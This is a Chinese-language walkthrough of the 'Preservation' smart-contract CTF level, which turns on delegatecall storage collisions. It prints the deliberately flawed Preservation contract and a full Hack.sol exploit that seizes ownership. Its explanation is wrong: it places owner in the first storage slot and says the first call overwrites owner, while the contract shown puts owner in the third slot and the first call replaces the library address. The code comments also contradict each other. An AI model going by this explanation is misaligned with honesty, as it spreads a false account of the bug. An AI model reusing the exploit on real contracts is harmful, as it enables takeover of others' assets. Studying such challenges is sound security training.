Skip to content
On this page

CTF 挑战:Preservation - 揭秘 delegatecall 的时空奥秘

欢迎来到 EtherNaught 的 CTF 挑战世界!今天,我们将深入探讨一个名为 "Preservation" 的关卡,它将带我们领略 delegatecall 的强大力量,以及它在智能合约开发中可能带来的意想不到的后果。

挑战概览:

在这个名为 "Preservation" 的挑战中,你将面临一个 Preservation 合约。这个合约巧妙地利用了一个外部库来存储两个不同时区的精确时间。它的构造函数初始化了两个库实例,分别负责存储这两个时间。你的终极目标,便是 夺取这个合约的所有权!

关键线索,助你破局:

如果你能抓住以下几个关键点,那么 "Preservation" 的谜题将迎刃而解:

  • delegatecall 的魔力: Solidity 的 delegatecall 是一个低级函数,它允许一个合约将执行委托给另一个合约。理解它的工作原理至关重要,特别是它如何实现链上库的调用,以及对执行范围(execution scope)的影响。
  • “保存上下文” 的含义: delegatecall 的一个核心特性是它会“保存上下文”。这意味着被调用的库在执行时,会继承调用合约的存储、状态以及 msg.sender 等信息。这正是我们攻击的关键所在!
  • 存储变量的奥秘: 智能合约的存储变量是如何组织的?理解它们的布局和访问方式,能帮助我们精确地操控合约的状态。
  • 数据类型转换的艺术: 在 Solidity 中,不同数据类型之间的转换是常见的操作。掌握好这些转换规则,能让你在构造攻击 payload 时更加得心应手。

深入剖析 Preservation.sol:

让我们一起看看 Preservation.sol 的代码,来揭示它的设计思路:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime; // 这个变量是关键!
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender; // 初始所有者是部署者
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        // !!! 关键点:这里使用了 delegatecall !!!
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        // !!! 同样是 delegatecall !!!
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime; // 这个变量在 LibraryContract 中也有

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

洞察其中的漏洞:

仔细观察 setFirstTime 和 setSecondTime 函数,你会发现它们都通过 delegatecall 调用了外部的 LibraryContract。问题就出在这里!

  • Preservation 合约有一个 owner 变量。
  • LibraryContract 合约也有一个 storedTime 变量。

当 setFirstTime 被调用时,delegatecall 会让 LibraryContract 的 setTime 函数在 Preservation 合约的 存储空间 中执行。由于 Preservation 合约的 owner 变量在存储槽(storage slot)中,而 LibraryContract 合约的 storedTime 变量也恰好在某个存储槽中,关键在于 存储槽的顺序。

如果 Preservation 合约的 owner 变量排布在存储槽的 第一个位置,而 LibraryContract 的 storedTime 变量也恰好是 第一个 变量,那么通过 delegatecall 并传递一个精心构造的 _timeStamp,我们就可以 覆盖 Preservation 合约中的 owner 变量!

攻击之道:Hack.sol 登场!

我们的攻击合约 Hack.sol 就是利用了这一原理:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPreservation {
    function setFirstTime(uint256) external;
    function owner() external view returns (address);
}

contract Hack {
    address public timeZone1Library; // 这里的变量定义是为了匹配,但不直接使用
    address public timeZone2Library; // 这里的变量定义是为了匹配,但不直接使用
    address public owner; // 这里的所有者是为了捕获 setTime 函数中的 owner
    
    IPreservation private immutable target; // 目标 Preservation 合约接口

    constructor(address _target) {
        target = IPreservation(_target);
    }

    function attack() external {
        // 第一次调用:目的是将 LibraryContract 中的 storedTime 变量(在 Preservation 合约中对应 owner 变量)指向我们自己的 Hack 合约地址
        target.setFirstTime(uint256(uint160(address(this))));

        // 第二次调用:再次调用 setFirstTime,这次的参数是我们想要成为的新所有者(这里是 msg.sender,即发起攻击的账号)
        //  因为第一次调用已经将 owner 变量的位置指向了我们,第二次调用就会覆盖掉 owner 变量。
        target.setFirstTime(uint256(uint160(msg.sender)));
        
        // 验证是否成功
        require(target.owner() == msg.sender, "Claim ownership fail!");
    }

    // 这个 setTime 函数是为了让 Hack 合约也能接收 setTime 的调用
    // 当 Preservation 合约通过 delegatecall 调用 LibraryContract 的 setTime 时,
    //  如果 LibraryContract 的 storedTime 变量在 Preservation 合约中的 owner 变量之后,
    //  那么这个 setTime 函数就会被执行,并更新 Hack 合约的 owner 变量。
    //  但是在这个特定的 CTF 关卡中,我们主要利用的是 delegatecall 覆盖 owner 变量。
    function setTime(uint256 _time) public {
        owner = address(uint160(_time));
    }
}

攻击步骤详解:

  1. 实例化攻击合约: 部署 Hack 合约,并将目标 Preservation 合约的地址作为构造函数的参数传入。
  2. 执行 attack() 函数:
    • 第一次调用 target.setFirstTime(uint256(uint160(address(this)))):
      • delegatecall 会在 Preservation 的存储空间中调用 LibraryContract 的 setTime 函数。
      • uint256(uint160(address(this))) 将 Hack 合约自身的地址转换为一个 uint256。
      • 由于 Preservation 合约的 owner 变量存储在第一个槽,而 LibraryContract 的 storedTime 变量也位于第一个槽,这个调用实际上是将 Preservation 合约的 owner 变量的值 修改为 Hack 合约自身的地址。
    • 第二次调用 target.setFirstTime(uint256(uint160(msg.sender))):
      • 再次通过 delegatecall 调用 LibraryContract 的 setTime 函数。
      • 这次传递的参数是将 发起攻击的账号(msg.sender)的地址 转换为 uint256。
      • 由于 Preservation 合约的 owner 变量已经被指向了 Hack 合约,这次调用会 覆盖 owner 变量,将其值更新为 msg.sender 的地址。
  3. 验证所有权: 最后,检查 Preservation 合约的 owner 变量。如果一切顺利,它将显示为发起攻击的账号的地址,恭喜你,成功夺取了合约的所有权!

总结:

"Preservation" 挑战生动地展示了 delegatecall 的强大能力,以及它在处理存储时的“上下文保存”特性。理解 delegatecall 如何影响执行范围和存储布局,是发现此类漏洞的关键。这个挑战也再次提醒我们,在编写智能合约时,务必谨慎处理库的调用,并充分理解其潜在的风险。

希望这个详尽的解析能帮助你理解并成功攻破 "Preservation" 挑战!继续探索,发现更多区块链世界的奥秘!

Built with AiAda